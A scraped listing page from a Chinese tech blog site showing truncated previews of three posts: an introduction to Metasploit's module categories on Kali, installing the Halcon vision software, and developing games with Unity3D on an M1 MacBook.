    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more